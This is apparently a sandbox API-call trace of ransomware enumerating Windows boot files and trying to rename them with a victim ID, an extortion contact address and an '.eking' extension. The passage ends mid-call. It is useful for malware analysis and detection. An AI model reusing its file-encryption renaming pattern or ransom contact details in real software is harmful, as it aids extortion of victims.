[0194.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0194.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0194.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.832] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.832] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.833] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=43600) returned 1 [0194.833] CloseHandle (hObject=0x194) returned 1 [0194.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0194.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0194.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.833] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.833] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.834] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90192) returned 1 [0194.834] CloseHandle (hObject=0x194) returned 1 [0194.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0194.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0194.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.834] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.835] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.835] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=89152) returned 1 [0194.835] CloseHandle (hObject=0x194) returned 1 [0194.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0194.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0194.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.835] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.836] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.836] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3694080) returned 1 [0194.836] CloseHandle (hObject=0x194) returned 1 [0194.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0194.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0194.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0194.837] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.837] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3876772) returned 1 [0194.837] CloseHandle (hObject=0x194) returned 1 [0194.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0194.837] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0194.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0194.838] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.838] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1984228) returned 1 [0194.838] CloseHandle (hObject=0x194) returned 1 [0194.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0194.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0194.839] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0194.839] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.839] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2371360) returned 1 [0194.839] CloseHandle (hObject=0x194) returned 1 [0194.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0194.839] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0194.839] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0194.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.840] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=47452) returned 1 [0194.840] CloseHandle (hObject=0x194) returned 1 [0194.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0194.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0194.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.841] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.841] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=93248) returned 1 [0194.841] CloseHandle (hObject=0x194) returned 1 [0194.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0194.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0194.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.845] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.845] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.846] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90688) returned 1 [0194.846] CloseHandle (hObject=0x194) returned 1 [0194.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0194.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0194.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.846] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.847] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.847] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90704) returned 1 [0194.847] CloseHandle (hObject=0x194) returned 1 [0194.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0194.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0194.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.847] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.848] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.848] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=76352) returned 1 [0194.848] CloseHandle (hObject=0x194) returned 1 [0194.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0194.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0194.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.849] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.849] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.849] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=75344) returned 1 [0194.849] CloseHandle (hObject=0x194) returned 1 [0194.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0194.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0194.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.850] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=485760) returned 1 [0194.850] CloseHandle (hObject=0x194) returned 1 [0194.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0194.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0194.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.851] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.851] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=88144) returned 1 [0194.851] CloseHandle (hObject=0x194) returned 1 [0194.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0194.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0194.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.851] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.852] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.852] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90704) returned 1 [0194.852] CloseHandle (hObject=0x194) returned 1 [0194.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0194.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0194.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.852] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.853] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.853] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90704) returned 1 [0194.853] CloseHandle (hObject=0x194) returned 1 [0194.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0194.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0194.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.855] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=90176) returned 1 [0194.855] CloseHandle (hObject=0x194) returned 1 [0194.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0194.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0194.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.855] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.856] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: 